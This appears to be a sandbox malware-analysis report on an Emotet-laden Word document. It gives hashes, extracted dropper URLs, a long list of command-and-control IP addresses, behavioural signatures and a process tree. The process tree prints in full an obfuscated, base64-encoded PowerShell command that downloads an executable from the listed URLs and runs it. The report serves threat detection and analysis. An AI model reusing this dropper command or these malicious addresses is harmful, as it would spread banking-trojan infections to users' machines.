emotet | 03eff4125728bbca0ec43652c8162eeb62ccbd94724b622fa7755441ef69eb71

Analysis

max time kernel
135s
max time network
131s
platform
windows10_x64
resource
win10
submitted
17/08/2020, 11:28

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General

Target
emotet_e1_03eff4125728bbca0ec43652c8162eeb62ccbd94724b622fa7755441ef69eb71_2020-08-17__112711._doc.doc
Size 228KB
Sample200817-mlsa779pas
SHA256 03eff4125728bbca0ec43652c8162eeb62ccbd94724b622fa7755441ef69eb71
MD5 c9bfa1715ba226134b8e0ca156c9698e
SHA1 0dea096f6142a3d11a87b9fcb5c5a9ee32e1b94f
SHA512 3145b540fc08c4853450c029353ece99d67c67f24318fe06934fec92d4edff7da6f6aaa66601d6b3e03dce2f8a016f3fffaa11169bdb5327dc00ce7d141fb88d
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

Source

URLs

exe.dropper
http://gh.xahpyy120.com/phpmyadmin/doc/fPJxu81Tt/
exe.dropper
http://ocelliptigo.com/undrag/FRg446071/
exe.dropper
http://megasolucoesti.com/R9KDq0O8w/HBh300/
exe.dropper
http://raiseways.com/wp-content/XwZGZ94507/
exe.dropper
http://m.sxhpzyy120.com/kfal/hKIpdkhdqU/

Extracted

Family

emotet

174.100.27.229:80
209.126.6.222:8080
5.153.250.14:8080
192.241.146.84:8080
95.9.180.128:80
77.55.211.77:8080
85.105.140.135:443
45.33.77.42:8080
77.90.136.129:8080
94.176.234.118:443
190.163.31.26:80
190.6.193.152:8080
190.181.235.46:80
81.198.69.61:80
188.2.217.94:80
114.109.179.60:80
83.169.21.32:7080
137.74.106.111:7080
212.231.60.98:80
170.81.48.2:80
177.74.228.34:80
178.79.163.131:8080
190.147.137.153:443
73.116.193.136:80
187.162.248.237:80
80.249.176.206:80
12.162.84.2:8080
219.92.13.25:80
46.28.111.142:7080
185.94.252.12:80
24.135.198.218:80
217.199.160.224:7080
70.32.115.157:8080
91.219.169.180:80
186.103.141.250:443
70.32.84.74:8080
172.104.169.32:8080
181.129.96.162:8080
178.250.54.208:8080
61.92.159.208:8080
190.190.148.27:8080
192.241.143.52:8080
51.159.23.217:443
82.196.15.205:8080
45.161.242.102:80
186.70.127.199:8090
204.225.249.100:7080
58.171.153.81:80
145.236.8.174:80
87.106.46.107:8080
181.120.79.227:80
186.32.90.103:443
24.148.98.177:80
149.62.173.247:8080
217.13.106.14:8080
50.28.51.143:8080
143.0.87.101:80
209.236.123.42:8080
191.99.160.58:80
51.255.165.160:8080
111.67.12.221:8080
67.247.242.247:80
177.72.13.80:80
213.60.96.117:80
68.183.190.199:8080
202.62.39.111:80
104.131.103.37:8080
212.93.117.170:80
116.125.120.88:443
177.73.0.98:443
89.32.150.160:8080
147.91.184.91:80
189.2.177.210:443
72.47.248.48:7080
186.250.52.226:8080
2.47.112.152:80
185.94.252.27:443
95.85.151.205:80
212.71.237.140:8080
68.183.170.114:8080
213.176.36.147:8080
82.76.111.249:443
191.182.6.118:80
91.222.77.105:80
94.206.45.18:80
104.131.41.185:8080
190.115.18.139:8080
5.196.35.138:7080
201.171.150.41:443
177.144.135.2:80
207.144.103.227:80

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3668	3012	powersheLL.exe	68

Emotet Payload 4 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/1512-15-0x0000000002220000-0x000000000222C000-memory.dmp	emotet
behavioral2/memory/1512-15-0x0000000002220000-0x000000000222C000-memory.dmp	emotet
behavioral2/memory/1880-18-0x00000000007C0000-0x00000000007CC000-memory.dmp	emotet
behavioral2/memory/1880-18-0x00000000007C0000-0x00000000007CC000-memory.dmp	emotet

Blacklisted process makes network request 2 IoCs

flow	pid	Process
6	3668	powersheLL.exe
19	3668	powersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
1512	Jgws.exe
1880	SessEnv.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\rdpencom\SessEnv.exe	Jgws.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3060	WINWORD.EXE
3060	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
3668	powersheLL.exe
3668	powersheLL.exe
3668	powersheLL.exe
1880	SessEnv.exe
1880	SessEnv.exe
1880	SessEnv.exe
1880	SessEnv.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3668	powersheLL.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
3060	WINWORD.EXE
3060	WINWORD.EXE
3060	WINWORD.EXE
3060	WINWORD.EXE
3060	WINWORD.EXE
3060	WINWORD.EXE
3060	WINWORD.EXE
3060	WINWORD.EXE
3060	WINWORD.EXE
1512	Jgws.exe
1512	Jgws.exe
1880	SessEnv.exe
1880	SessEnv.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 3668 wrote to memory of 1512	3668	powersheLL.exe	75
PID 3668 wrote to memory of 1512	3668	powersheLL.exe	75
PID 3668 wrote to memory of 1512	3668	powersheLL.exe	75
PID 1512 wrote to memory of 1880	1512	Jgws.exe	76
PID 1512 wrote to memory of 1880	1512	Jgws.exe	76
PID 1512 wrote to memory of 1880	1512	Jgws.exe	76

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_03eff4125728bbca0ec43652c8162eeb62ccbd94724b622fa7755441ef69eb71_2020-08-17__112711._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3060

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABaADQAOABhAGwAMgBqAD0AJwBHAGQAawB3AHAAYgBrACcAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMAYABlAGMAYABVAHIASQBgAFQAWQBwAHIAYABvAFQAbwBDAE8ATAAiACAAPQAgACcAdABsAHMAMQAyACwAIAB0AGwAcwAxADEALAAgAHQAbABzACcAOwAkAFQAbQA3AGYAeABzAG4AIAA9ACAAJwBKAGcAdwBzACcAOwAkAE8AYQBnAHYANAA3ADAAPQAnAEkAdwByAHcAZQAyAGQAJwA7ACQAWgA1AGYAawB5ADcAcgA9ACQAZQBuAHYAOgB0AGUAbQBwACsAJwBcACcAKwAkAFQAbQA3AGYAeABzAG4AKwAnAC4AZQB4AGUAJwA7ACQAWQBiAGYAagB2ADUAYgA9ACcAUAA3AGgAegBjAHUAOAAnADsAJABGAGwAbAAxADgAMQBsAD0ALgAoACcAbgBlAHcALQBvACcAKwAnAGIAagAnACsAJwBlAGMAdAAnACkAIABuAEUAVAAuAFcAZQBiAGMAbABpAGUAbgB0ADsAJABNAGsAcgB6ADAAaQAzAD0AJwBoAHQAdABwADoALwAvAGcAaAAuAHgAYQBoAHAAeQB5ADEAMgAwAC4AYwBvAG0ALwBwAGgAcABtAHkAYQBkAG0AaQBuAC8AZABvAGMALwBmAFAASgB4AHUAOAAxAFQAdAAvACoAaAB0AHQAcAA6AC8ALwBvAGMAZQBsAGwAaQBwAHQAaQBnAG8ALgBjAG8AbQAvAHUAbgBkAHIAYQBnAC8ARgBSAGcANAA0ADYAMAA3ADEALwAqAGgAdAB0AHAAOgAvAC8AbQBlAGcAYQBzAG8AbAB1AGMAbwBlAHMAdABpAC4AYwBvAG0ALwBSADkASwBEAHEAMABPADgAdwAvAEgAQgBoADMAMAAwAC8AKgBoAHQAdABwADoALwAvAHIAYQBpAHMAZQB3AGEAeQBzAC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AWAB3AFoARwBaADkANAA1ADAANwAvACoAaAB0AHQAcAA6AC8ALwBtAC4AcwB4AGgAcAB6AHkAeQAxADIAMAAuAGMAbwBtAC8AawBmAGEAbAAvAGgASwBJAHAAZABrAGgAZABxAFUALwAnAC4AIgBTAGAAUABMAGkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAFUAawAxADkAdwBsAGgAPQAnAFUAeABfAHgAeAB6AHIAJwA7AGYAbwByAGUAYQBjAGgAKAAkAEMAcwBiAGMAcQA2AGIAIABpAG4AIAAkAE0AawByAHoAMABpADMAKQB7AHQAcgB5AHsAJABGAGwAbAAxADgAMQBsAC4AIgBEAGAAbwB3AG4AbABPAGEAYABEAEYASQBsAGUAIgAoACQAQwBzAGIAYwBxADYAYgAsACAAJABaADUAZgBrAHkANwByACkAOwAkAFkAeABvAGgAegByAHIAPQAnAFoAeABfADgAegBqAHYAJwA7AEkAZgAgACgAKAAmACgAJwBHAGUAdAAnACsAJwAtAEkAdABlACcAKwAnAG0AJwApACAAJABaADUAZgBrAHkANwByACkALgAiAGwAZQBgAE4AZwB0AGgAIgAgAC0AZwBlACAAMwA2ADAANgAwACkAIAB7ACYAKAAnAEkAbgAnACsAJwB2AG8AawBlACcAKwAnAC0ASQB0ACcAKwAnAGUAbQAnACkAKAAkAFoANQBmAGsAeQA3AHIAKQA7ACQAUgA1ADYAYQBmAGEAeAA9ACcAVAByADAANQBvADgANwAnADsAYgByAGUAYQBrADsAJABOADIAcABmAHoAZABsAD0AJwBaADAAXwBtAGwAMQB0ACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEUAOAAwADcAeAB4ADMAPQAnAFQAbwAwAF8AdAA4AHYAJwA=
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3668
- C:\Users\Admin\AppData\Local\Temp\Jgws.exe
  "C:\Users\Admin\AppData\Local\Temp\Jgws.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:1512
- - C:\Windows\SysWOW64\rdpencom\SessEnv.exe
    "C:\Windows\SysWOW64\rdpencom\SessEnv.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:1880

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/1512-15-0x0000000002220000-0x000000000222C000-memory.dmp

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memory/1880-18-0x00000000007C0000-0x00000000007CC000-memory.dmp

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memory/3060-4-0x0000021855033000-0x0000021855035000-memory.dmp

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memory/3060-8-0x0000021857924000-0x0000021857929000-memory.dmp

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memory/3060-7-0x0000021857924000-0x0000021857929000-memory.dmp

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memory/3060-6-0x000002185791F000-0x0000021857924000-memory.dmp

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memory/3060-5-0x000002185791F000-0x0000021857924000-memory.dmp

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memory/3060-0-0x00007FF976AE0000-0x00007FF9771A6000-memory.dmp

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memory/3060-3-0x000002185771C000-0x0000021857721000-memory.dmp

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memory/3060-2-0x000002185771C000-0x0000021857721000-memory.dmp

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memory/3060-1-0x000002185771C000-0x0000021857721000-memory.dmp

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memory/3668-9-0x00007FF968F40000-0x00007FF96992C000-memory.dmp

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memory/3668-10-0x0000018AECB80000-0x0000018AECB81000-memory.dmp

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memory/3668-11-0x0000018AECD30000-0x0000018AECD31000-memory.dmp

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